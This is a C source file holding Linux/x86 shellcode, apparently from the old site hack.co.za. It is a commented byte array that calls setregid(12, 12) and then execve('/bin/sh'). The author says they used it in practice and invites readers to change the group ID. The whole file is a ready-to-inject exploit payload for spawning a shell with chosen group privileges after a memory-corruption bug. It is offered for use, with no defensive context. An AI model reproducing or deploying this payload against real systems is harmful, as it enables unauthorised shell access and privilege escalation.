/* * Linux/x86 * An example of setregid(), execve() /bin/sh by anathema * * (I used this in practise, hence the setregid(12, 12);) */ char c0de[] = /* anathema */ /* main: */ /* setregid(12, 12); */ "\x29\xc0" /* subl %eax, %eax */ "\xb0\x47" /* movb $71, %al */ "\x29\xdb" /* subl %ebx, %ebx */ /* * Here's the GID for the setregid() call. Change to suit. */ "\xb3\x0c" /* movb $12, %bl */ "\x89\xd9" /* movl %ebx, %ecx */ "\xcd\x80" /* int $0x80 */ "\xeb\x18" /* jmp callz */ /* start: */ /* execve of /bin/sh */ "\x5e" /* popl %esi */ "\x29\xc0" /* subl %eax, %eax */ "\x88\x46\x07" /* movb %al, 0x07(%esi) */ "\x89\x46\x0c" /* movl %eax, 0x0c(%esi) */ "\x89\x76\x08" /* movl %esi, 0x08(%esi) */ "\xb0\x0b" /* movb $0x0b, %al */ "\x87\xf3" /* xchgl %esi, %ebx */ "\x8d\x4b\x08" /* leal 0x08(%ebx), %ecx */ "\x8d\x53\x0c" /* leal 0x0c(%ebx), %edx */ "\xcd\x80" /* int $0x80 */ /* callz: */ "\xe8\xe3\xff\xff\xff" /* call start */ /* /bin/sh */ "\x2f\x62\x69\x6e\x2f\x73\x68"; /* www.hack.co.za [7 August 2000]*/